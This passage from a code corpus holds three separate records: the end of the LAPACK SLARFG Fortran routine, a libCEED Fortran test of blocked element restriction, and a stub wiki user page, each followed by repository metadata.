            KNT = KNT + 1
            CALL SSCAL( N-1, RSAFMN, X, INCX )
            BETA = BETA*RSAFMN
            ALPHA = ALPHA*RSAFMN
            IF( ABS( BETA ).LT.SAFMIN )
     $         GO TO 10
*
*           New BETA is at most 1, at least SAFMIN
*
            XNORM = SNRM2( N-1, X, INCX )
            BETA = -SIGN( SLAPY2( ALPHA, XNORM ), ALPHA )
            TAU = ( BETA-ALPHA ) / BETA
            CALL SSCAL( N-1, ONE / ( ALPHA-BETA ), X, INCX )
*
*           If ALPHA is subnormal, it may lose relative accuracy
*
            ALPHA = BETA
            DO 20 J = 1, KNT
               ALPHA = ALPHA*SAFMIN
   20       CONTINUE
         ELSE
            TAU = ( BETA-ALPHA ) / BETA
            CALL SSCAL( N-1, ONE / ( ALPHA-BETA ), X, INCX )
            ALPHA = BETA
         END IF
      END IF
*
      RETURN
*
*     End of SLARFG
*
      END

max_stars_repo_name: pkeuchel/oomph-lib

max_issues_repo_name: pkeuchel/oomph-lib

max_forks_repo_name: pkeuchel/oomph-lib


text:
!-----------------------------------------------------------------------
      program test
      implicit none
      include 'ceed/fortran.h'

      integer ceed,err
      integer x,y
      integer r
      integer i,j,k

      integer ne,elemsize,nb,blksize
      parameter(ne=8,elemsize=2,nb=2,blksize=5)
      integer ind(elemsize*ne)
      integer layout(3)
      integer blk,elem,indx

      real*8 a(ne+1)
      real*8 yy(nb*blksize*elemsize)
      real*8 xx(ne+1)
      real*8 diff
      integer*8 aoffset,xoffset,yoffset

      character arg*32

      call getarg(1,arg)
      call ceedinit(trim(arg)//char(0),ceed,err)

      call ceedvectorcreate(ceed,ne+1,x,err)

      do i=1,ne+1
        a(i)=10+i-1
      enddo

      aoffset=0
      call ceedvectorsetarray(x,ceed_mem_host,ceed_use_pointer,a,aoffset,err)

      do i=1,ne
        ind(2*i-1)=i-1
        ind(2*i  )=i
      enddo
      call ceedelemrestrictioncreateblocked(ceed,ne,elemsize,blksize,1,1,ne+1,&
     & ceed_mem_host,ceed_use_pointer,ind,r,err)

      call ceedvectorcreate(ceed,blksize*elemsize,y,err);
      call ceedvectorsetvalue(y,0.d0,err)

!     NoTranspose
      call ceedelemrestrictionapplyblock(r,1,ceed_notranspose,x,y,&
     & ceed_request_immediate,err)
      call ceedvectorgetarrayread(y,ceed_mem_host,yy,yoffset,err)
      call ceedelemrestrictiongetelayout(r,layout,err)
      do i=0,elemsize-1
        do j=0,0
          do k=blksize,ne-1
            blk = k/blksize
            elem = mod(k,blksize)
            indx = (i*blksize+elem)*layout(1)+j*layout(2)*blksize+blk*layout(3)*blksize-&
     & blksize*elemsize
            diff=yy(yoffset+indx+1)
            diff=diff-a(ind(k*elemsize+i+1)+1)
            if (abs(diff) > 1.0D-15) then
! LCOV_EXCL_START
             write(*,*) 'Error in restricted array y(',i,')(',j,')(',k,')=',&
     &         yy(yoffset+indx+1)
! LCOV_EXCL_STOP
            endif
          enddo
        enddo
      enddo
      call ceedvectorrestorearrayread(y,yy,yoffset,err)

!     Transpose
      call ceedvectorsetvalue(x,0.d0,err)
      call ceedelemrestrictionapplyblock(r,1,ceed_transpose,y,x,&
     & ceed_request_immediate,err)
      call ceedvectorgetarrayread(x,ceed_mem_host,xx,xoffset,err)
      do i=blksize+1,ne+1
        diff=xx(xoffset+i)
        if (i > blksize+1 .and. i < ne+1) then
          diff=diff-2*(10+i-1)
        else
          diff=diff-(10+i-1)
        endif
        if (abs(diff) > 1.0D-15) then
! LCOV_EXCL_START
         write(*,*) 'Error in restricted array x(',i,')=',&
     &         xx(xoffset+i)
! LCOV_EXCL_STOP
        endif
      enddo
      call ceedvectorrestorearrayread(x,xx,xoffset,err)

      call ceedvectordestroy(x,err)
      call ceedvectordestroy(y,err)
      call ceedelemrestrictiondestroy(r,err)
      call ceeddestroy(ceed,err)

      end
!-----------------------------------------------------------------------

max_stars_repo_name: AdelekeBankole/libCEED

max_issues_repo_name: AdelekeBankole/libCEED

max_forks_repo_name: AdelekeBankole/libCEED


text:
Describe Users/CourtneyMullarkey here.

20110607 14:23:02 nbsp Welcome to the Wiki Courtney! Users/PeterBoulay

max_stars_repo_name: voflo/Search

max_issues_repo_name: voflo/Search

max_forks_repo_name: voflo/Search